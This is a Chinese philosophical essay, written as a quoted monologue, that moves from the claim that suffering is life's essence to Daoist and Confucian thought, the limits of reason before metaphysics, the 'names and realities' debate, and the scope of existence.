“我们首先考察我们人类身处的这个世界,放眼望去,都是痛苦、灾难、绝望,没有留下一丝的美好和欢乐可以是恒常不变的。而且就连我们认为的消极的因素被我们所认为的积极的因素暂时地取代了之后,我们因为害怕积极又将失去而惶恐惊怕,而消极却泰然自若地站在前面微笑着,似乎在说‘我永远在前面等待着你’,于是就连所谓的积极也变成了另一种形式的消极,而消极中对于积极的希冀却永远是触不可及,所以除了一厢情愿地幻想美好的未来以外,永远不可能成为另一种形式的积极。这说明消极的就是消极的,而积极的依然是属于消极的。欢乐里面会夹杂着痛苦,因为欢乐永远只是相对于痛苦而言,所以是极其稀缺、奢侈、短暂的。反之,痛苦里面鲜少有着欢乐可以被个体明显地感触到,因为痛苦更直观,更实在,也因此比欢乐要纯粹得多,真实得多。 “因此,人生中只有痛苦才是恒常的,才是真正积极的,而我们认为的欢乐的和幸福的时光却只是昙花一现、转瞬即逝,最后如过眼云烟般留在记忆里模模糊糊的一片,好像昨天吃过的饭一样,根本就记不起是什么味道了。这就是为什么我们总是喜欢回忆过去,因为我们觉得幸福的时刻不论是在什么时候,至少也绝对不是在现在,而我们的未来比我们的过去要抽象,我们虽然会去幻想美好的未来,但对于未知深切的恐惧感却更加真实地笼罩着我们,以至于担心美好的幻想终会落空,而不敢想得太多。所以,我们只有透过不断地回忆过去,来欺骗自己曾经幸福过。但实际上我们回忆的过去,在当时,真的就比我们所处的现在更幸福吗?还是因为我们人永远也不会满足于现状,所以我们以为的幸福要么就已经过去了,要么就还没有到来呢?可真实存在的永远只有现在、当下,而我们人却依然痛苦、不满足,至少也会认为,此时此刻不应该是我们人生当中最幸福、最满足的时刻。足见人们的生存永远只是积极的否定,而消极才是真正肯定的。 “再者,如果我们人已经拥有了幸福,又为什么仍在不断地寻求呢?我们所追求的永远是我们认为我们还没有得到的,而痛苦不但不用追求,就连排斥掉都是如此地困难,那么痛苦岂不是要比幸福实在得多,真实得多?因为随便何处,哪里都有痛苦可寻,而幸福却不知要往哪里去觅,不论是从外界,还是从人自己的内心,都无法找到永远的幸福,而只能相对地减少一点到处皆有的痛苦,来计算自己距离心目中的幸福又靠近了多少。这么看来,痛苦才是这个世界的本质。那么人生既然是痛苦的,里面又为什么会呈现出些微的幸福呢?是因为幸福的本身在这个世界上是确实存在的吗?其实不然。幸福的呈现只是表象,而痛苦才是本质。否则为什么我们人只有在痛苦时,才会真正意识到自己的存在呢?难道欢乐时,我们也有像痛苦时一样的去思考人生吗?还是说我们在幸福欢乐的表象中,已经看不到那个在痛苦时才会呈现在我们面前的本质了呢? “没错,欢乐就是遮掩着人生本质的最大的帐幕。于是我们在痛苦之中明明白白地感受到了人生的空虚、痛苦、绝望与无奈,并不是因为我们在痛苦之中就更有思想,而是因为人生的真实面目已经表露无遗地呈现在了我们的面前,我们连想都不用去想,就已经看得清清楚楚了。反之,我们以为欢乐的时候,其实我们自己都不知道欢乐是个什么概念。而痛苦却是直观的,清晰的,毫无隐瞒的,就像我们以为是真实的这个世界一样,它存在。它确确实实地存在,于是让我们同时也看清楚了自己的存在,原来是跟痛苦的本质密不可分的,是连成一体的,是人类生存的实际情况,也是这个悲惨的世界的真相。 “我坚信,人世间短暂又有限的生命,不应该是存在的一切意义,更不可能是存在的终极意义。我坚信,有一个更高的意义,是超越了人世间短暂又有限的存在的,是能够更好的去解释我们存在的一个答案。没错,就是一个答案。世人无论是聪明的还是愚笨的,他们都在寻找什么价值,来定义自己的一生,作为他们追求的对象,这说明什么?说明虚无只是现象,虽然虚无似乎已经解释了一切,然而,一切存在都在寻找着什么东西。倘若真的没有一个实际存在的终极答案,那么寻找的本身就是最大的徒然,最大的虚无。 “所以,我仍在往高处寻求,又怎么会毫无意义呢?高低又怎么会完全一样呢?不,只要我们不是从‘道’的角度来看待一切,那么,一切就都是不一样的。如果我们强行要把一切事物和存在等量齐观,将一切像庄子一样,‘齐一’地去看待的话,那么,便是强迫我们用道的角度去看待一切,而不是我们有限的存在的眼光所具有的相对性、这个在有限的存在身上具有必然性的实际状况了。 “我们不可能观看到以及感受到一切事物和存在的绝对统一,这本身就是必然的,因为我们还没有到达庄子所说的道的高度。而且纵使有限的人于主观上,强迫自己去如此看待在相对界中存在的诸般事物,实际上又会无可避免地陷入了强烈的矛盾当中:也就是相对界中不同性相互之间的排斥性以及对立性所带来的几乎是绝对的不可调和性,与精神和思想上所要达到的绝对统一性和无分别性之间,由于二者内外本身所具有的对立和矛盾,强行统一便会发展成为,事物往各自对立面极端排斥开来的,激化了的矛盾以及分别,最后结果与主观意愿背道而驰,统一性在不可能绝对统一的相对界中,随着有限的人主观的统一意愿,而最终走向烟消云散的结局。 “所以我们纵然强迫自己接受这种‘齐物’的观点,也无法逃脱实际经验给我们带来的矛盾,也就是一切事物和存在的不同性以及对立性。只有当我们到达了某一种高度的时候,区别才会自然而然地消失掉,到那时,也不必我们强迫自己去接受和相信一切的合一,因为一切的本身就已经是绝对的‘一’了,而那是在无限的大道里面才能够实现的。只是现在还不能,因为我们,距离大道还很遥远啊。 “首先就是要忍受孤独,无尽的孤独,最后,还得学会在孤独中找到真正的快乐,然后与孤独成为一体,方可触摸天道的边界。至于感情这件事,照佛家说,这些都是空境延伸出来的假象——色。儒家也常常劝人笃行‘中庸之道’。那么什么是中庸的具体表现呢?其实就是要尽量地去减除过多的情感,所谓‘喜怒哀乐之未发,谓之中。’也就是达到了一种平衡。天道就是最平衡的存在,以至于天道不会去更多的偏向任何一种存在,这样,天地万物才能够同时领受从天道而来的公平公正。道家的老子就很懂得天道,他说:‘天地不仁,以万物为刍狗。’所以说,是天道无情吗?不是的。是因为天道对万物一视同仁,所以不能够对任何一个具体事物和人多有偏爱,否则其对万物不一视同仁,由此可知也。只有对万物都无情,故能成其情。唯有如此,天地万物才能够在一种秩序中自然而然地发展,这便是‘无为而治’。 “时空这个概念,是绝对的吗?很显然,答案是否定的。战国时期,庄周有个朋友,也是一个哲学家,叫作惠施,曾经用八个字来形容这个宇宙的存在,它的浩瀚无垠,是否有着一个有形的边界,做为其存在的尽头?换言之,承载着万物和无数个存在物的这个宇宙,它的边界到底在哪里?这个边沿究竟是怎么样的?宇宙是无限的存在,还是同样是相对的呢?倘若从惠施的朋友庄周,这位道家的代表人物看来,宇宙跟天地万物,自然都是相对的,因为这些存在都是从大道延伸出来的,是那作为一切存在之根本的道的产物,是一切的本源‘无’中生的‘有’,所以它们的相对性绝对是必然的,而作为源头的道才是唯一的绝对,纵然把一切相对的事物和存在之总和与大道相比,仍然是相对与绝对的区别。至于相对和绝对的概念,照庄子在其《齐物论》中所说,本身就是相对的产物,因为在绝对的合一当中,概念的本身也已经不存在了,又何来相对绝对之说?也就是说,概念的存在是为了说明,而说明的本身就是相对性的表现,不是那毫无分别的大道。故而可以诉说的概念,本身就是相对的,更何况这个有形的宇宙呢?作为可见的具体事物,相对于不可见的抽象概念,哪一个更加接近于‘无’?那更接近于道的抽象概念,尚且具有其相对性,更何况于具体宇宙的存在呢?于是宇宙的相对性和有限性,是再明白不过了。那么,这个相对的宇宙,它到底是否拥有边界?再说回惠施的那八个字,就是:‘大无其外,小无其内。’说大无其外,似乎宇宙本身是拥有无限性的,因为其边界在何处不好知道。而存在中最渺小的事物,小到没有内容,这跟大到没有外围一样,很难理解。然而,这些也都是有限的人试图去解释无限的一种说法而已,孰是孰非,也不好说。 “语言的目的只是去相对地理解那在语言之外的道的状态,而不是语言自身存在着什么天道的绝对性。语言本身就是极其有限的、相对的一个事物,它的高度在于用抽象的概念使人稍微得以窥视同样是极其抽象的大道的一个模糊的轮廓,一种不借着语言无法表达,同时借着语言又失掉了的真理。只有借着语言这个表述抽象概念的桥梁,才能够使得人稍微能够触摸到一点大道的边界,然后,若是还想更加深入地去了解那绝对性不断地在增加以及相对性不断地在减少的状态,也就是更加接近于绝对的那个存在所延伸出来的那种依然是相对的却有着接近于绝对的量变的逐渐深化的状态,就得‘得意而忘言’,在有限的和相对的语言这个过渡的媒介之上停止阐述,并且以减少对于绝对的大道透过人的语言不断地相对化的过程,用不言语的状态来体察那在语言之外的境界。换言之,任何绝对的事物一旦经过了人类相对的头脑、思维以及语言表述,就立即从自身绝对的范畴自然而然地相对化了,故而老子开头便说:‘道可道,非常道。’可道之道,已经不是绝对的大道之本体了,而只是其延伸,无论多么精细的论证也都只是尽量地去阐述那不可言说的真理,那么道自然便会有亏损。然而,若不借助于语言,连道的轮廓都逐渐地从人的认知当中抽象化了,所以只有先借着语言把抽象的绝对存在先相对且具体化以便于人类的理解,之后,再抛弃语言以借着之前对于大道本体之抽象的理解做为过渡而试图回归本体之抽象中的绝对具体存在。若是跳过了这一个看似没有必要的过程,那就需要一个人非常大的对于抽象方面理解的天分,否则这些都是难以理解的。 “论形而上学。关于理性思维对于形而上范畴进行考察探究的可能性。《易》曰:‘形而上者谓之道,形而下者谓之器。’所谓的形而上者,顾名思义,就是有关于形象界之外的范畴。这个范畴处于形象界,也就是我们所处的这个可见的世界之外,因此是我们感官经验所无法接触的范畴,故而属于不可知范畴。那么既然这个范畴不可知,为什么又要去研究呢?恐怕除了好奇心以外,最重要的原因就是,想找到一个答案,尤其是跟我们所处的这个世界有关的答案,而跟我们所处的这个世界有关的答案之所以具有相当的重要性,是因为我们本身就处在这个世界当中,因此这个答案也必然是与我们每一个人、每一个存在物息息相关的,而非毫无关联的。当然,前提是我们相信有一个答案是我们不容易、甚至是不可能知道的,却是能够解释我们所处的这个世界的一个答案,而且不是一个相对的答案,而是一个绝对的答案,一个终极的答案。 “我们虽然处在这个世界,却并不真正了解这个世界,就像那首诗:‘不识庐山真面目,只缘身在此山中。’越是离得近的事物,越是容易看不明白。反倒是从另外一个范畴,可以更容易去明白自身的范畴。所谓:‘他山之石,可以攻玉。’也可以说是:‘汝若欲学诗,功夫在诗外。’ “可既然是不可知的范畴,我们又如何去了解呢?这时候,概括起来,有四种途径:一、用理性;二、用经验;三、用猜测;四、用信仰。除了第一条用理性思维以外,其余的就不再是属于哲学思想的范畴了,而是属于宗教信仰。宗教信仰并不意味着绝对的迷信或者是去盲目的接受一个答案,然而与纯粹的哲学思维比较,其信仰的成分相对来说还是占有更大的比例,因为答案已经提前给了出来,所以当我们接受的时候,已经不是第一手的思想了,也就不是直接从我们自身而来的了。 “关于哲学的定义,哲学家曾经说过:‘哲学是介于科学与神学之间的学问。’之所以这么说,是因为,科学是专门研究物质世界以及现象界的学问,更高的范畴便不再涉及了,而用以研究世界的手段是逻辑思维,也就是理性,因此有理有据,却无法满足人类对于更高范畴的追求。神学又是另一个极端,因为答案直接透过宗教的形式给了出来,让人用信仰的办法直接接受这个给出的答案,似乎太过于武断,也就是说,少了些逻辑思维论证的过程,难以说服具有思想能力的人。而哲学者,正是介于二者之间的一种学问,是相对来说比较折中的,既研究科学所不涉及的那个更高的范畴,也就是形而上的范畴,同时又像科学一样,借助于理性思维的手段,因为不愿意直接盲目地接受一个给出的答案。 “我们发现哲学是一门几乎涉及所有学问的学问,然而其最初目的,还是为了解决终极问题,也就是要追寻第一因。纯粹世间的学问,也就是形而下的范畴,当然也被包括在哲学的定义当中,却又不能去定义哲学的所有研究范畴,以及其最终极的研究对象。关于宇宙从哪来、存在的意义、生命的目的、死后去哪里、本体是什么,等等超越经验的命题,都是属于形而上的范畴,是哲学和宗教所要解决的终极问题,也是最根本的问题。因此,如果以纯粹的形而下的范畴来定义哲学和宗教,显然是不全面的,甚至,与二者的最高研究对象——形而上范畴以及本体,是背道而驰的。 “当然,这并不是说形而下的范畴就与形而上的范畴毫无关联,以及说现象界当中的现象与本体毫无联系,因为如果它们彼此是毫无关联的,那么似乎所谓的形而上学和本体论就变得毫无意义了,毕竟与我们毫无关联,那么还去研究它干吗?而是说,形而下的范畴,也就是有关于现象界的范畴,已经有足够多的学问去专门研究和探讨其中的一切了,而这些学问又偏偏没有把形而下的现象与形而上的本体联系起来一同研究,也无法去同时研究,所以留待哲学和宗教来将它们彼此关联起来,也就是用形而上来看形而下,用本体来看现象,反过来再用形而下去对应形而上,用现象去关联本体。这似乎可以在答案揭晓的时候,达到一种矛盾的对立统一,因为它们彼此的区分是二也是一,是一也是二,类似于佛学所讲的‘不二法门’。 “当然,这只是推论中的一个假设,也就是假如,确实拥有一个绝对的本体存在,那么相对来说,我们所处的这个物质世界,甚至包括超物质世界,其中自然也包括不可见之精神世界,都成为了现象,因为世界本身不再是一个唯一的存在了。同样,如何证明确实有着一个形而上的范畴独立存在于形而下的范畴之外呢?这在思维过程当中,似乎也只是一个概念性的假设,也就是先把我们所处的这个世界假设为一个形而下的范畴,然后在它之外下了一个概念性的定义,也就是一个相对性的定义,谓之形而上。 “有一种哲学论断说,当一个概念存在的时候,可以由此得知,概念的实体必然也是真实存在的。这是因为,如果概念的实体并非真实存在的,那么概念的本身以及其属性定义又是从何而来?概念必然是什么的产物,如果不是其实体存在的产物,那么概念的存在又是哪里来的?如果说概念只是思维的产物,是可以凭空虚构和创造的,那么不存在的事物为什么可以存在于一个人的思维当中呢?这种思想似乎认为,任何存在,包括概念本身,如果存在了,就一定有其存在的必然性,那么概念是因为其实体存在而延伸,也是有可能的,并且相当合理,否则,在绝对的不存在当中,应该连不存在的实体的抽象概念也不存在才对,因为不存在的概念根本就不可能凭空存在,除非其自身就是拥有其所指向的实体的存在,故而其概念性的存在也是绝对必然的。换句话说,假如一个具体存在根本不存在,那么有关于其存在的抽象概念也不应该被思维,而既然抽象概念能够被思维到,这也就反过来证明了具体存在,也就是抽象概念的指向,是的的确确存在的实体,这就是二者之间相对性的依存。同样的道理,任何相对性的概念和事物存在了,那么其对立面,也就是相对于其存在的另一面,也就自然而然地产生了,并且没有先后之区别,相对的双方必然犹如主客体一般同时存在。这就是老子在《道德经》第二章里面说的:‘天下皆知美之为美,斯恶已,皆知善之为善,斯不善已。故有无相生,难易相成,长短相形,高下相倾,音声相和,前后相随。’ “世界上一切相对的事物都是对立双方同时存在的,要么就同时消亡,根本不存在单一的方面独自存在而没有其对立面的情况,除非其为本体自身,故而没有其对立面。由此可知,凡是拥有其对立面者,皆为现象。因为现象者,相对也。所以相对的存在都是现象性的有限存在,只有没有对象的存在,才是本体绝对的存在。 “然而哲学思想也因此陷入了一种矛盾当中,因为实际性的存在和概念性的存在,似乎并不完全能够直接关联起来。也就是类似于古人常常讲的有关名与实的问题。以理性思维为基础的哲学思想,在论证过程中,难免会走向一种逻辑性的概念组合,也就是走向一种纯粹属于逻辑范畴的论证,并不一定属于所谓的实际性的范畴。比如名家著名人物公孙龙讲的‘白马非马’论,所论证的显然就不是白马是否是马这个动物的问题,而是一个特定的哲学逻辑思维的问题。如果纯粹从事实,也就是实在性的角度来看的话,说白马非马简直就是胡说八道,是再明显不过了的诡辩,因为白马就是马这个动物。然而站在逻辑学,也就是从哲学的角度看,他说的似乎又没问题,毕竟白马加了一个白字,这个代表马的颜色的概念,就与白马是马的动物性,完全不一样了。他论证说,如果白马是马,那么马也就是白马了?很显然,马是马,但不一定非得是白马,也可以是黑马、黄马,然而如果说白马是马,那么黑马、黄马自然也是马了,那么白马也就是黑马、黄马了?很显然,这种概念性的逻辑没有问题,可一跟实在性,比如这里面的不管任何颜色的马都是马这个动物的实际状况比较起来,就又毫无关联了。 “这也证明一点,概念不一定跟实际有着必然的关联,因为概念是属于逻辑范畴的,而实际是在逻辑范畴以外的存在,似乎逻辑思维无权用概念去干预它的存在。那么问题来了,有关于形而上的范畴,除了逻辑概念以外,如何证明它确实是一个真实存在的范畴,而非一个凭空想象出来的、根本就不存在的范畴?如果这时候用信仰的方式直接接受,那显然哲学的范畴已经无法容纳了,而理性似乎在形而上的范畴,这个超越理性和经验的范畴,顿时失去其功用了。这是一个很大的问题,因为形而上学这门学问是否能用哲学来研究,本身就是一个疑问,哲学上谓之知识论,也就是研究知识的知识,探讨知识所能涉及的范畴,以及理性所能运用的范畴。假如理性和知识根本无法触碰到某一个范畴,那么一切的研究就都变得毫无意义了,因为即便是强行去研究这个范畴,也会不由自主地走入非理性和超经验中去,而这本身又超越了哲学本身的范畴,进入了宗教信仰的范畴。形而上学这门学问于是乎成为了哲学这门学问本身的一个瓶颈,是其终极的研究对象,同时又是其无法逾越的鸿沟。 “研究形而上学本身,自然而然地延伸出了许多问题,是需要我们去考察的。首先,做为哲学思想的最基础条件的理性,是否是一个无限的存在?倘若理性是无限的,那么它自然能够去直接探索无限本身;而倘若理性并非无限的,而是有限的,那么假如有无限本身存在,有限的理性又该如何去探索?还是说,有限之理性面对无限时,局限性注定了其无法对无限进行探索?其次,哲学思想是透过逻辑思维和论证阐述出来的,也就是运用抽象概念的排列组合以及拼凑所表达的逻辑关系而显现出自身的含义,那么,逻辑思维的正确性本身是否就一定意味着其真理的正确性?换言之,真理反过来必须得遵从人类的逻辑思维以及理性论证才能够存在和成立吗?也就是说,真理是否低于人类的逻辑思维,其本体性所蕴含的绝对性并不能够超越逻辑思维的正确性而存在,是受制于理性思维这个框架的存在吗?再者,即使我们假设真理可以透过推理论证推敲出来,那么真理或者本体这个绝对的存在,是否就是逻辑思维所论证出的一个概念性的答案本身呢?换句话说,真理或者本体的本身就是一个逻辑概念吗?如果概念的本身就是真理,那么当能够思维和认识的主体消失了,被认识的客体对象,也就是我们假设的本体,是不是跟着思维者的消失而一同消亡了呢?换言之,真理只是一个被认识的客体对象,并不具有自我不变的永恒性质?就如同许多人所说的‘信则有,不信则无’?再者,假设真理是做为一个实体绝对存在于形而上的范畴,那么其存在又如何能够被当做认识对象进行探索和思维?如果形而上学的定义本身,就是属于不可知范畴,那么这定义当中本身就包含了答案,那就是这个范畴根本就不可知!而不可知的事物,只能是去猜想,结果就是盲人摸象,各自都认为自己掌握了绝对真理,实则只是拿着一个自己所假设的抽象概念和逻辑关系,透过论证来不断地自圆其说而已。因为如果论证只涉及逻辑,那么只要能够自圆其说,那么这个论证就没有问题了。问题是,形而上的答案,到底是什么呢?说了半天,似乎只是证明了一点,那就是用哲学思想,这个答案也许根本就无法找到。用理性本身就能论证出理性自身的有限性,也说明了理性本身并非是毫无用处的,只是它有一个上限,是难以突破的,而当难以突破被认识到,也许就面临着一种突破了,虽然,这已经不属于哲学的范畴了。 “论理性之有限。关于人类运用理性思维时自身的局限性。我已经尝试着去论证了理性思维本身的有限性,最后得出了一个结论,那就是理性的有限性真正暴露无遗在自身所无法探究和涉及的范畴当中——形而上学,这个研究终极答案和绝对真理的,对于人类来说属于不可知范畴的学问,彻底曝露出了用以思维哲学命题的最根本条件和手段——理性,原来在触碰到了有关于无限性的范畴之时,其逻辑思维顿时失去了意义,因为在形而上的范畴当中,具有具体对象性以及可以证明的实在性本身不复存在于可见可感的物质形态当中,也就是超越了具体物质存在的抽象范畴,于是所谓的逻辑思维彻底变成了一个只能以假设和猜测来立论的,透过概念组合起来的逻辑游戏来探索,结果不是盲人摸象、茫然失措,就是独树一帜,然后自圆其说。这本身就是理性的瓶颈,同时也是哲学的瓶颈。 “然而,这并不是说理性一无是处,正好相反,这说明理性思维在自身能够探究到的范畴当中是很强大的。形而上学自然是理性的一个极限,然而最终证明理性的有限性的也还是其自身,因为理性的属性就已经注定了,既可以用来对付自身以外的东西,也可以反过来对付自身。而根本原因就在于,理性本身就不是一个独立自主的自我存在,而是一个寄托于可以进行思维的存在——就比如说人类——之上的一个东西。所以问题也许并非全部出在理性这个东西本身之上,也就是其有限性不能由其自身来负全责,因为运用它来进行逻辑思维者,乃是人类。那么理性的有限性,实则更直接地表明着运用着它的人类才是真正有限的存在。为什么我要专门做这样一个强调呢?这是因为,我们不能武断地去得出一个我们根本就还不知道的结论,或者说是,我们暂时还无法去证明的结论。什么结论呢?就是那假设出来的可能存在的形而上范畴本身,必定是非理性的。 “换言之,理性的有限性,彰显在人类对其运用的过程当中,而理性自身是否只能达到这种程度呢?这是一个问题。其次,一切存在当中,是不是只有人类会动用理性呢?自然界当中的动物只有本能反应,不能称之为理性。因为理性是对于抽象概念的思维和归纳,是一种复杂的逻辑思维过程,不是动物性本能所能完全概括的。然而,我们所假定为真实存在的本体范围,难道就一定是非理性的吗?这里又出现了一个问题:到底是谁规定的理性是有限的?又是谁规定的理性是绝对的?二者同样是人类。人类用自身的理性无法达到思维的目标的时候,就承认理性是有限的;而人类在用理性似乎能够横行无阻的范畴,就比如说形而下的物质世界和自然界这个范畴,就又认为理性本身可以解决一切问题。那么理性就一定是一切存在的绝对标准吗?似乎并不一定,或者更准确点说,标准至少不应该是纯粹属于人类所理解的自己的那种理性。由此推断下去,难道人类的理性的反面,也就是所谓的非理性,就真的不是正确的理性了?于是这涉及了一个有关于标准的问题。到底这个标准是谁定的?倘若人类以唯我独尊的姿态,觉得自身处在整个宇宙的正中央,那么自身的一切自然也可以称之为标准了。 “然而,事情尚未明了,形而上的范畴以及有关于绝对存在的本体问题,至今人类还无法用理性来证实,同时也无法证伪。如果存在着一个形而上的本体,而这个本体可以用人类的理性思维来论证出来,用逻辑概念来证明出他的存在,那么,理性似乎还高于这个本体了,因为本体都在理性所设定的规则当中。也就是说,连绝对真理都得反过来受制于人类的理性,那么这个真理还能算得上是绝对的存在吗?如果事实上并非如此,那么所有证明难以用理性证实的形而上存在的论证,就都是一种概念上的游戏而已,不过是在逻辑层面能够自圆其说,却并不能,至少并不一定,能够将自身所得出的结论与实在性关联上。实在性如果在理性思维和逻辑概念的假设和猜测中正好关联上了,那也不能反过来证明人类的理性就一定是无限的和绝对的,以至于都能够去论证出本体的存在来。这似乎不是理性本身的问题,而是一个复杂的本体论问题。也就是本体,有没有可能把自身强行放在理性的规则当中受到其限制呢?如果不然,理性的本身又与真理有着什么样的关联呢?如果二者之间不存在直接的关联,那有没有间接的关联呢?倘若关联是不存在的,那么二者彼此之间的毫无关联又是怎么一回事呢?理性的存在和真理的存在,到底呈现着一种什么样的状态呢? “如果我们现在把概念澄清,那么所谓的非理性,从更全面的角度来看,并不一定就意味着真正的理性的反面或者不存在,而是说,理性的定义已经超出了能够用人类的理性去思维的同样是人类的理性的范畴,而进入到了一个更深层的范畴,那就是理性的终极内涵,以及理性与本体和真理的存在性的本然状态。如果说这不属于关联,显然是不正确的。如果现象是本体的延伸面和产物,那么现象界中一切的现象自然都无法超越本体自身的范畴,至少,都具有微妙的关联性。 “很显然,这个物理世界的宇宙天地万物,都是理性的,而微妙之处正是在此。如果一切的存在都只是完全偶然的,那么这种理性到了可以出现人类的科学、物理学等等学问的世界又是如何偶然地碰撞出了可以找出规则和规律出来的现有状态呢?很显然,现在人类所有的科学、物理学,甚至生物学、天文学等等学问,都是最讲究理性的,而这些学问所研究的对象偏偏又是自然界当中的存在。我认为如果从一个微妙的角度来看待这一切,会发现一个没有问题中的最大的问题:为什么我们人类所处的这个世界、这个宇宙、这个自然界,会以如此理性的姿态彰显出来? “我们都知道,这个世上有的事情相当微妙,比如说最完美的事物,也许反而存在着缺憾,也正是因为缺憾,所以这个事物完美。我不知道这是不是一种艺术性的观点,因为十全十美不容易得到的缘故,所以用这种话来自我安慰。相对于此,还有一种看法,那就是当一件事毫无破绽、无懈可击的时候,这件事最大的破绽就是其完美的自身。这似乎是一种侦探小说里面常用的内容,往往侦探观察案件,最后从毫无破绽中,看出了这种完美性恰好证明案件并非偶然,而是有人在背后特意安排的,所以发现了什么破绽和漏洞以后,幕后之人就立刻把破绽和漏洞填补上,于是一切都尽善尽美,也让最聪明的侦探发现了真相:原来如此,竟是有人特意安排的,所以才毫无破绽! “现在,我们来观察我们所处的这个世界,暂时不谈人类社会里面的道德伦理问题,只说理性的问题。所有这些研究自然界当中现象的学问,并且能够找到其中规律和发展必然性的学问,不论是科学、物理学、生物学、天文学等等,都是最诉诸于理性的学问。那么问题来了,为什么这些学问能够用理性来发现自然界当中的理性成分?这说明自然界本身就是一个理性的存在。那么如果自然界的存在是纯粹偶然的,其理性的规则又是从何而来?难道说,其中的理性也是纯粹偶然的吗?为什么有这么多的偶然?为什么自然界的存在当中存在着如此理性的规则可以给人类用自身的理性来进行研究以及学术归纳?偏偏关于这一点,这些学问不负责去解决其中的疑问,却留给了哲学和神学之类的学问去解决。神学、玄学以及纯粹的宗教信仰之类的我们不谈,就说哲学。哲学试图用人类自身的理性来解决有关于存在的最根本的、最终极的问题,这个问题是纯粹研究自然界当中的现象的学问所不涉及的。偏偏哲学论证最终还用自身以外的这些学问来做为自己的佐证。比如伟大的科学家、物理学家,在研究科学以外也去研究哲学,甚至神学。有一天,朋友到他家来做客,看到了一个精致的太阳系行星的模型,于是问:‘这个制作得真好,真完美,是哪来的?’答道:‘没什么人制作,就是这么来的,路上随便捡的。’他朋友不信:‘你这不是胡说八道嘛!这么精致完美的模型,肯定是高人设计的,怎么可能是自己随随便便碰出来的呢?’他说:‘连这么一个简单的模型,你都不肯相信它是随随便便存在的,那我们所处的这个世界,这个真实的太阳系,里面真实的行星,还有整个浩瀚无垠的宇宙,你却认为都是偶然存在的吗?’他朋友恍然大悟,从此观念改变了。这个观念一变,究竟是变得非理性了呢,还是变得更理性了呢?所以说,理性的标准是什么,我们人类还在寻找当中呢! “这个世界的存在,最微妙之处,便是其井然有序过了头了。换言之,如果一切存在都是偶然的,那么混乱才是正常的,因为没有规矩。然而,如果一切都是偶然的,却有着秩序维护着宇宙中的存在,有着规律可以给人类去探索和总结,那么,这就似乎不太正常了。偶然中的混乱不足为奇,秩序的存在却是概率最低的,因为偶然存在中有关于秩序的成分是最少的,也是最微妙的一种状态。换句话说,秩序的存在本身,就证明着必然性。必然性就是秩序存在并且能够长时间保持下去的基础。没有必然性的秩序,其存在不可能稳定,也不可能长时间保持下去。因为其失去了自身存在的合理基础。偶然性不是完全不可能造成秩序的存在,只是秩序要因为偶然性的基础而变得不稳定,并且秩序的存在,其概率非常之低,尤其是像现在我们所处的这个宇宙一样,这种大范围的秩序,基本上是不可能这么恰巧遇上的。偏偏我们就遇上了。我认为,这已经是最不理性的一件事了,偏偏很多人还认为,这样才是最合乎理性的,岂不荒谬!因此,所谓的非理性,也许只是说并不符合人类对于理性这件事所定义的标准,不代表理性自身就一定得按照某种特定的标准,然后其自身才能够存在。理性的存在如果是有着自身做为一个主体意识思维当中作用的,那么不同的主体意识都能够以不同的、自身的标准来重新定义理性的标准是什么。至于普遍的标准,也并不是绝对的标准,也并不是一切的标准,只是标准之一而已。如果说超理性的话,就有可能存在着囊括一切理性标准的更高标准,其本身并不是非理性的,而是超越了理性的单一标准,进入了一种更高的范畴。 “概念不一定等于实在(真实存在)。这是一个真理,是不容置疑的,因为所讨论的双方虽然在字句的表述里同属概念性的存在,却于自身的含义当中存在着本质性的差异,是两个概念的截然不同的指向,其中一个是自身本身抽象的存在性(概念),一个是用抽象的概念来表示真实的具体存在(实在)。这即是说,概念是个表述抽象存在的抽象概念,而实在是个表述具体存在的抽象概念。二者的共同点在于,皆为抽象概念,却最终引向截然相反的含义,或者说,结果的指向是完全不同的:一个是从虚到虚,一个是从虚到实。这个问题是哲学当中的最根本问题之一,属于逻辑学范畴的问题。在中国古代,被称作为‘名实之辩’,产生了以惠施、公孙龙为主的名家学派,儒家更是长期以此为争论的话题,都是在名实之辩的范畴当中,试图阐述概念与实在的关系,以至于发展到了想要在道德修养和社会伦理学层面具有现实作用为其理论阐述的最终目的,甚至最后得出了一个结论:天下大乱和人心不古的原因在于名实不相符合的缘故。 “论存在的范畴。关于存在与不存在彼此之间的界限的推论。关于存在的范畴的问题,其实就是关于什么存在什么不存在的问题。存在的范畴,就是要确定什么是存在的,什么又是不存在的。一旦确定了什么是存在的,什么又是不存在的,那么,存在的范畴也就确定了。首先,我们先说存在这个概念,它的定义是什么。顾名思义,存在的定义就是有,而不存在的定义也就是无。有就是存在,无就是不存在。存在的一定有,不存在的也就没有。确定了存在的定义以后,我们就可以开始讨论这个问题了。这是个很重要的问题,甚至我认为,这是哲学上最重要的命题(至少也是其中之一)。这是因为,存在乃是一切的根本问题,如果一切都不存在,那么就什么问题都没有了。也就是说,之所以会有问题的存在,正是因为首先有存在的存在。也就是存在的存在,引伸出了问题,问题于是在存在存在的基础之上产生了,所有一切存在都因为存在首先存在了而存在。如果起初不存在存在,那么就不可能拥有现在我们所认识到的一切存在,也就是存在的产物。现在我们明白了这个问题的重要性以后,就可以开始研究这个问题了。 “我们首先需要确定的是,什么范畴是属于存在的范畴。其实只需要知道什么范畴是属于不存在的范畴,就可以确定什么是存在的范畴了。然而,我们并不能确定什么是不存在的范畴,因为我们不能确定什么是不存在的,所以也不知道关于不存在的总和,也就是不存在的范畴,是什么样的。如果不知道不存在的范畴是什么样的,我也就不知道存在的范畴是什么样的。因为存在的范畴也是依靠不存在的范畴而确定的。这是由于存在的范畴我也同样不能确定的缘故。为什么我同样不能确定关于存在的范畴呢?这是因为,我同样不能确定什么范畴是属于不存在的。我不知道不存在的范畴是什么样的,我怎么能确定存在的范畴是什么样的呢?假如我所认为的存在的范畴是我所认为的那样,那么我怎么能够确定我所认为的那样就是属于存在的范畴,而不是漏掉了什么存在的事物,而我却不知道这个事物也是存在的?我既然漏掉了什么我不知道其为存在之物,那么我所确定的存在的范畴一定不正确,而不存在的范畴也因此不可能正确。同样,我所认为的不存在的范畴,也有可能包括了本身是存在的事物,而因为我也把他当成了不存在而忽略掉了,所以我所确定的不存在的范畴也就一定不正确,那么关于存在的范畴我也不能有正确的认知。综上所述,关于存在与不存在的范畴,只要我对其中一面有着错误的认知,那么我对于另一面的认知也一定是错误的。于是我们发现,我们如果不能至少绝对确定其中一面,那么我们就永远不可能确定另一面,那么我们就永远也不可能确定有关于存在的范畴。 